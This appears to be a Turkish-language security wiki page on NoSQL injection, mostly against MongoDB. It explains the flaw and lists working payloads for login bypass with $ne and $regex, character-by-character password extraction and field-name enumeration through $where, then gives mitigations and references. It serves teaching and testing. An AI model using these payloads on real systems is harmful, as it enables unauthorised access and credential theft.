NoSQL Injection
NoSQL Injection Nedir?
NoSQL veritabanlarına yapılan enjeksiyon saldırılarında, saldırganlar istemci sorgularını manipüle ederek yetkisiz erişim sağlar.
SQL enjeksiyonuna benzer şekilde, veri girişlerinin filtrelenmemesi veya doğrulanmaması bu zafiyete neden olur.
Özellikle MongoDB, CouchDB, Firebase gibi JSON tabanlı NoSQL sistemlerde yaygındır.
Kullanıcı girişleri doğrudan sorguya dahil edildiğinde, saldırganlar özel payload’larla filtre mantığını değiştirebilir.
Kimlik doğrulama atlatılabilir, veritabanından yetkisiz veri okunabilir veya veri değiştirilebilir.
RESTful API'lere sahip sistemlerde URL veya JSON parametreleri yoluyla da gerçekleştirilebilir.
Geliştiricilerin veri tiplerini kontrol etmemesi veya JSON yapısını filtrelememesi sonucu ortaya çıkar.

Yöntemler
Basit SQLi
admin' || '1'=='2
admin' || '1'=='1
admin' && '1'=='1
admin' && '1'=='2
admin' && 0 && 'x
admin' && 1 && 'x
admin' || 1 || %00
admin' || 1 || 'x
admin' || 1==1//
Authentication SQLi
{
"username": {"$regex":"admi.*"},
"password": {"$ne":"foobar"}
}
username[$regex]=admi.*&password[$ne]=foobar
Data Çekme
admin' && this.password%00
admin' && this.password && this.password.match(/.*/)%00
admin' && this.password && this.password.match(/^p.*$/)%00
admin' && this.password && this.password.match(/^pa.*$/)%00
admin' && this.password && this.password.match(/^password123$/)%00
Where ile Sütun Çekme
{"username":"admin","password":{"$ne":"foobar"}, "$where": "0"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "1"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/.*/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^p.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^pa.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^password$/)"}
Önlemler
Kullanıcı girdileri mutlaka doğrulanmalı ve uygun filtreleme yapılmalıdır.
Dinamik sorgular yerine, güvenli sorgulama yöntemleri (prepared statements, parametrik sorgular vb.) tercih edilmelidir.
JSON yapısında doğrudan kullanıcı verisiyle operatör veya anahtar üretiminden kaçınılmalıdır.
Uygulama tarafında detaylı hata mesajları gösterilmemeli, istisnalar yönetilmelidir.
Araçlar
NoSQLMap: https://github.com/codingo/NoSQLMap
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/nosql-injection
Last updated
Was this helpful?